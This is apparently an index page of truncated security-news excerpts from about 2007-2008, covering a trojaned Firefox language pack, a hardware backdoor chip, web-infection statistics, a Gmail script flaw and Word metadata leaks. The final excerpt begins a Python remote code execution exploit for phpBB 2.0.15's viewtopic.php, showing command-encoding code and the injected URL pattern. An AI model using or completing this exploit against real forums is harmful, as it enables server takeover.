Urgent Advisory - Undetectable malicious code threat

This piece of news only affect Vietnamese users as the Vietnam language package was infected with
malware trojan called e Xorer, and so if you downloaded this language pack in the last few weeks run
a scan and the trojan should be picked up. Although this trojan is only a couple of months old and
so I don't think everyone has something for it, but check at your vendors website and see if
they have a solution for it. As for the cause of this infected plugin, they assume the authors
computer was infected at the time when they upload this plugin to the mozilla website...

Since hacking became the power house for the criminal underground, the one thing that most hackers
didn't have was the hardware knowledge to reengineer the hardware to the point that regardless
what they user did the computer would remain open to attacks. Yesterday the first step was taken to
actually hack computer hardware to be completely open to attacks as a team from the University of
Illinois took an altered computer chip in which it would grant back-door access to a computer and
attackers could unleash their havoc. This is a the gist of what they did to make ...

I saw this white paper and I thought I bring down some interesting information that has come from
2007 and leading into 2008. I have to say though that the information on this white paper is pretty
darn mind blowing as I bounce some facts to everyone. Of course since I been getting into this
since last year it is not all that surprising since I posted many topics about it as well.
-Sophos currently sees 6,000 new infected webpages each day -One infected page every 14 seconds
-Only about 1 in 5 of these sites is a hacker site -83 percent are hacked sites, or legitima...

Well lets start off by saying these 2 people are complete morons. The first guy who had this thing
loaded up on the internet so it could be shown on how it works and not securing it so it
couldn't be downloaded. Does a home server ring a bell? guess not. second guy for downloading
it and then uploading it to his site with the excuse that "he thought it would be useful to other
security professionals looking for ways to illustrate just how dangerous a scripting attack can be."
Now this code has been found on several websites and now could be use to hijack web brow...

I was paranoid! After all that cleaning my computer from spyware I realized the following codes
were showing up constantly (everywhere I go) when I viewed a page source. Just before ends HTML
javascript ' src=' http://127.0.0.1:****/js.cgi?pca&r=***** '> /script > And after
HTML javascript '>postamble(); /script > WHAT DA HECK IS IT?? It looks like some java
script was calling from within my computer and *'s were changing constantly with each time I
refreshed a webpage for a source code. After few hours of searching, I found a ...

QUOTE A teenage blogger claims to have discovered a flaw in Google's Gmail service that
allows JavaScript to run, potentially allowing a malicious hacker to gather e-mail addresses or
compromise an account. The supposed flaw may already have been fixed, however. Advertisement: The
teenager identifies himself in his blog as a 14-year-old named Anthony. His entry about Gmail is
here. He wrote that he was trying to e-mail JavaScript code from a Yahoo account to a G-mail
account. The code will run in a preview pane, he wrote. But if the code is mailed from one Gma...

Major Security Issue Exists in Source of Word-Created Web pages! This is an URGENT news
bulletin to anyone who owns a website!!! Problem: A serious security exploit exists in the source
of these documents that allows anyone who is able to view the source of the page to gain personally
identifiable information relevant to the document. This is due to Microsoft Word's method of
dealing with web pages - Microsoft Word, despite being able to create Web Pages/Templates, does not
actually understand their format, and so it stores the Word program data into the ...

phpBB 2.0.15 "viewtopic.php" Remote PHP Code Execution Exploit #!/usr/bin/pyth0n print "\nphpBB
2.0.15 arbitrary command execution eXploit" print " 2005 by rattle@awarenetwork.org" print " well,
just because there is none." import sys from urllib2 import Request, urlopen from urlparse import
urlparse, urlunparse from urllib import quote as quote_plus INITTAG = ' ' ENDTAG = '
' def makecmd(cmd): return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd
,'chr(%d)'%ord(cmd )) _ex = "%sviewtopic.php?t=%s&highlight=%%27." _ex += "printf("...